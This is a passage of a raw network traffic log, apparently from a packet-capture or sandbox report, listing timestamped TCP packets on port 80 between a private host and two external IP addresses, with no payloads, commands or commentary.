Nov 23, 2024 13:28:39.061409950 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.061455965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.061469078 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.061515093 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.062339067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.062386990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.062450886 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.062494993 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.063288927 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.063349962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.063370943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.063420057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.064205885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.064251900 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.064341068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.064412117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.064884901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.064922094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.064965963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.065192938 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.065381050 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.065429926 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.066221952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.066234112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.066246986 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.066263914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.066291094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.066303015 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.066971064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.067027092 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.067068100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.067114115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.067886114 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.067939043 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.067992926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.068793058 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.068850994 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.068914890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.068962097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.069731951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.069778919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.069840908 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.069895029 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.070658922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.070715904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.070980072 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.071023941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.071604967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.071654081 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.071710110 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.071754932 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.072516918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.072613955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.072659969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.073477983 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.073523998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.073669910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.073714972 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.074421883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.074464083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.074537039 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.074578047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.075268984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.075330019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.075390100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.075467110 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.076261997 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.076309919 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.076354980 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.077130079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.077174902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.077255011 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.077302933 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.078118086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.078169107 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.078234911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.078279018 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.078993082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.079039097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.079138994 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.079183102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.079921007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.079969883 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.079989910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.080046892 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.080832005 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.080959082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.081041098 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.081739902 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.081792116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.081849098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.081893921 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.082735062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.082781076 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.082847118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.082891941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.083707094 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.083750010 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.083776951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.083822966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.084564924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.084606886 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.084672928 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.084717989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.085669994 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.085716963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.085747957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.085796118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.086755991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.086872101 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.086920023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.087162018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.087191105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.087688923 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.087740898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.087747097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.087804079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.087855101 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.088443041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.088495016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.088558912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.088604927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.089274883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.089324951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.089327097 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.089375019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.090107918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.090231895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.090284109 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.091104031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.091156006 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.091216087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.091264009 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.091981888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.092037916 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.092083931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.092135906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.092873096 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.092925072 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.092995882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.093044996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.093905926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.094121933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.094168901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.094743013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.094789982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.094861984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.094912052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.095698118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.095807076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.095854998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.096612930 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.096663952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.096713066 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.096762896 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.097594976 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.097645044 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.097718954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.097767115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.098723888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.098776102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.098828077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.099558115 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.099605083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.099646091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.099695921 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.100352049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.100482941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.100533962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.101310968 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.101360083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.101425886 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.101478100 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.102150917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.102200031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.102216005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.102247953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.103080988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.103152037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.103208065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.103256941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.104028940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.104079008 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.104216099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.104268074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.104984045 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.105017900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.105038881 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.105073929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.105875969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.105978966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.106031895 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.106971979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.107023001 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.107076883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.107129097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.107880116 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.107928038 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.107995033 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.108043909 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.108638048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.108688116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.124665022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.124793053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.124864101 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.125914097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.126049042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.126095057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.128400087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.128513098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.128582001 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.130899906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.147741079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.147866011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.147941113 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.148729086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.152105093 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.189126015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.189207077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.189305067 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.190268993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.190372944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.190433979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.192737103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.192866087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.192934990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.230618954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.230674982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.230765104 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.231794119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.231870890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.234412909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.234473944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.234916925 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.235081911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.235136986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.237365961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.239928961 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.273369074 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.273381948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.273448944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.273463011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.273477077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.273528099 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.273878098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.273926020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.274014950 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.274060965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.274609089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.274693012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.274763107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.274806976 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.275892973 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.275954962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.275957108 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.276001930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.276632071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.276693106 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.276716948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.276864052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.277487040 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.277539968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.277604103 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.277704000 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.278408051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.278497934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.278517008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.278570890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.279359102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.279419899 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.279448032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.279495955 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.280359983 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.280395031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.280417919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.280457020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.281302929 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.281357050 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.281454086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.281569958 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.282130003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.282233953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.282236099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.282322884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.283040047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.283098936 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.283162117 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.283214092 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.283991098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.284104109 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.284157991 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.284919024 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.284971952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.285028934 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.285079002 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.285810947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.285864115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.285986900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.286036968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.286740065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.286808968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.286871910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.286959887 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.287709951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.287761927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.287817955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.287868023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.288599968 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.288722038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.288769007 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.289603949 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.289658070 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.289714098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.289777994 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.290450096 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.290522099 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.290575981 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.290626049 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.291351080 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.291400909 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.291461945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.291506052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.292298079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.292392969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.292438984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.293210983 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.293257952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.293322086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.293375969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.294117928 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.294157982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.294254065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.294292927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.295049906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.295099020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.295171022 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.295212984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.295984030 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.296030998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.296084881 CET	80	49799	185.215.113.16	192.168.2.6
